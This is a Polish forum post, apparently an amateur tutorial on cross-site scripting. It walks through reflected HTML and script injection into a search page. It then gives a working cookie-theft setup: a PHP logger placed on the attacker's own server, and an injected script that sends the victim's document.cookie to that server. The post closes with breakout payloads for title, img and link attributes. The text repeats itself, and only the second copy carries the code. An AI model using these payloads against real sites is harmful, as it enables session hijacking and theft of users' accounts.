Magnefikko
Były Moderator
- Dołączył
- Maj 29, 2004
- Posty
- 709
Ataki typu Cross-Site Scripting (XSS) są obecnie jedną z najpopularniejszych metod ataków na strony internetowe, a to z uwagi na bardzo duże możliwości wprowadzenia w kod strony własnego skryptu.
Na czym właściwie polaga taki atak?
Na wykonaniu na obcej stronie własnego kodu HTML jub Jaba Script. Niestety, tą metodą nie wykonamy na stronie kodu PHP (PHP Injection).
Za przykład niech posłuży nam mała wyszukiwarka...
Po wpisaniu np. testu "BURA SUKA" otzymamy taki kod:
<html>
<head>
<title>BURA SUKA - szukajka.com</title>
</head>
<body>
Nie znaleziono danego tekstu: "BURA SUKA".
</doby>
</html>
Nasz tekst został dopisany do kodu źródłowego strony.
Sprawdźmy czy filtrowane są znaczniki HTML...
<h1>BURA SUKA</h1>
Założymy że nie są. Kod więc będzie teraz wyglądał tak:
<html>
<head>
<title><h1>BURA SUKA</h1> - szukajka.com</title>
</head>
<body>
Nie znaleziono danego tekstu: "<h1>BURA SUKA</h1>".
</doby>
</html>
Wykonaliśmy swój kod HTML na obcej stronie. Równie dobrze możemy więc wykonać kod Java Script...
<script language="JavaScript">alert('Owned');</script>
Korzystając z podatności na atak typu XSS możemy naszą strone po prostu prymitywnie "rozwalić".
Jednak wiele praktyczniej jest przechwycić pliki cookies osoby przeglądającej te strone, jeżeli oczywiście cookiesy są używane i znajduje sie w nich coś ciekawego... Oto przykładowy kod PHP "cookiesokradziejki":
Plik ów umieszczamy na swoim serwerze (z obsługą PHP oczywiście ;-) ).
Natomiast na obcą strone dodamy taki kod:
Na końcu przedstawie może kilka przykładów ataku XSS.
<html>
<head>
<title>NASZTEKST</title>
</head>
<body>
Witam!
</body>
NASZTEKST = </title></head>XSS
[...]
<img src = "NASZTEKST">
[...]
NASZTEKST = ">XSS
[...]
<a href = "NASZTEKST">Strona Usera</a>
[...]
NASZTEKST = "></a>XSS
Pozdrawiam ;-)
Magnefikko.
PS. Przepraszam za żałosne wykonanie.
Na czym właściwie polaga taki atak?
Na wykonaniu na obcej stronie własnego kodu HTML jub Jaba Script. Niestety, tą metodą nie wykonamy na stronie kodu PHP (PHP Injection).
Za przykład niech posłuży nam mała wyszukiwarka...
Po wpisaniu np. testu "BURA SUKA" otzymamy taki kod:
<html>
<head>
<title>BURA SUKA - szukajka.com</title>
</head>
<body>
Nie znaleziono danego tekstu: "BURA SUKA".
</doby>
</html>
Nasz tekst został dopisany do kodu źródłowego strony.
Sprawdźmy czy filtrowane są znaczniki HTML...
<h1>BURA SUKA</h1>
Założymy że nie są. Kod więc będzie teraz wyglądał tak:
<html>
<head>
<title><h1>BURA SUKA</h1> - szukajka.com</title>
</head>
<body>
Nie znaleziono danego tekstu: "<h1>BURA SUKA</h1>".
</doby>
</html>
Wykonaliśmy swój kod HTML na obcej stronie. Równie dobrze możemy więc wykonać kod Java Script...
<script language="JavaScript">alert('Owned');</script>
Korzystając z podatności na atak typu XSS możemy naszą strone po prostu prymitywnie "rozwalić".
Jednak wiele praktyczniej jest przechwycić pliki cookies osoby przeglądającej te strone, jeżeli oczywiście cookiesy są używane i znajduje sie w nich coś ciekawego... Oto przykładowy kod PHP "cookiesokradziejki":
Kod:
<?php
$Fx = fopen("cookies.txt", "a");
fputs($Fx, $_GET['Cookies']);
fputs($Fx, "n");
fclose($Fx);
?>
<script language = "JavaScript">
document.location = "http://www.google.pl";
</script>
Plik ów umieszczamy na swoim serwerze (z obsługą PHP oczywiście ;-) ).
Natomiast na obcą strone dodamy taki kod:
Kod:
<script language = "JavaScript">document.location="http://www.naszserwer.pl/Naszskrypt.php?Cookies="+document.cookie</script>
Na końcu przedstawie może kilka przykładów ataku XSS.
<html>
<head>
<title>NASZTEKST</title>
</head>
<body>
Witam!
</body>
NASZTEKST = </title></head>XSS
[...]
<img src = "NASZTEKST">
[...]
NASZTEKST = ">XSS
[...]
<a href = "NASZTEKST">Strona Usera</a>
[...]
NASZTEKST = "></a>XSS
Pozdrawiam ;-)
Magnefikko.
PS. Przepraszam za żałosne wykonanie.